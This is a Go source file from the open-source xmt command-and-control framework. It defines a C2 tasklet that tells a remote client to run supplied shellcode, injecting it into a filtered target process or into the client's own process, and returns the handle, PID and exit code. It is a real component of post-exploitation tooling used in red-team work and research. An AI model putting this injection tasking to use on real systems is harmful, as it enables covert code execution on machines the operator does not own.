github.com/iDigitalFlame/xmt@v0.5.4/c2/task/assembly.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package task
    18  
    19  import (
    20  	"context"
    21  	"time"
    22  
    23  	"github.com/iDigitalFlame/xmt/cmd"
    24  	"github.com/iDigitalFlame/xmt/cmd/filter"
    25  	"github.com/iDigitalFlame/xmt/data"
    26  )
    27  
    28  // Assembly is a Tasklet that is similar to the 'cmd.Assembly' struct.
    29  //
    30  // This struct is used to Task a Client with running shellcode on devices. It
    31  // has many of the functionalities matching the 'cmd.Assembly' struct.
    32  //
    33  // This can be directly used in the Session 'Tasklet' function instead of
    34  // directly creating a Task.
    35  //
    36  // The 'SetParent' function will attempt to set the target that runs the
    37  // shellcode. If none are specified, the shellcode will be injected into the
    38  // client process.
    39  //
    40  // C2 Details:
    41  //
    42  //	ID: TvAssembly
    43  //
    44  //	Input:
    45  //	    Assembly struct {
    46  //	        bool            // Wait
    47  //	        int64           // Timeout
    48  //	        bool            // Filter Status
    49  //	        Filter struct { // Filter
    50  //	            uint32      // PID
    51  //	            bool        // Fallback
    52  //	            uint8       // Session
    53  //	            uint8       // Elevated
    54  //	            []string    // Exclude
    55  //	            []string    // Include
    56  //	        }
    57  //	        []byte          // Assembly Data
    58  //	    }
    59  //	Output:
    60  //	    uint64              // Handle
    61  //	    uint32              // PID
    62  //	    int32               // Exit Code
    63  type Assembly struct {
    64  	Filter  *filter.Filter
    65  	Data    []byte
    66  	Timeout time.Duration
    67  	Wait    bool
    68  }
    69  
    70  // UnmarshalStream reads the data for this Code thread from the supplied Reader.
    71  func (a *Assembly) UnmarshalStream(r data.Reader) error {
    72  	if err := r.ReadBool(&a.Wait); err != nil {
    73  		return err
    74  	}
    75  	if err := r.ReadInt64((*int64)(&a.Timeout)); err != nil {
    76  		return err
    77  	}
    78  	if err := filter.UnmarshalStream(r, &a.Filter); err != nil {
    79  		return err
    80  	}
    81  	return r.ReadBytes(&a.Data)
    82  }
    83  func taskAssembly(x context.Context, r data.Reader, w data.Writer) error {
    84  	a, z, err := AssemblyUnmarshal(x, r)
    85  	if err != nil {
    86  		return err
    87  	}
    88  	if err = a.Start(); err != nil {
    89  		return err
    90  	}
    91  	h, _ := a.Handle()
    92  	if w.WriteUint64(uint64(h)); !z {
    93  		w.WriteUint64(uint64(a.Pid()) << 32)
    94  		a.Release()
    95  		return nil
    96  	}
    97  	w.WriteUint32(a.Pid())
    98  	err = a.Wait()
    99  	if _, ok := err.(*cmd.ExitError); err != nil && !ok {
   100  		return err
   101  	}
   102  	e, _ := a.ExitCode()
   103  	w.WriteInt32(e)
   104  	return nil
   105  }
   106  
   107  // AssemblyUnmarshal will read this Assembly's struct data from the supplied
   108  // reader and returns an Assembly runnable struct along with the wait boolean.
   109  //
   110  // This function returns an error if building or reading fails.
   111  func AssemblyUnmarshal(x context.Context, r data.Reader) (*cmd.Assembly, bool, error) {
   112  	var (
   113  		a   Assembly
   114  		err = a.UnmarshalStream(r)
   115  	)
   116  	if err != nil {
   117  		return nil, false, err
   118  	}
   119  	if len(a.Data) == 0 {
   120  		return nil, false, cmd.ErrEmptyCommand
   121  	}
   122  	v := cmd.NewAsmContext(x, a.Data)
   123  	v.Timeout = a.Timeout
   124  	v.SetParent(a.Filter)
   125  	return v, a.Wait, nil
   126  }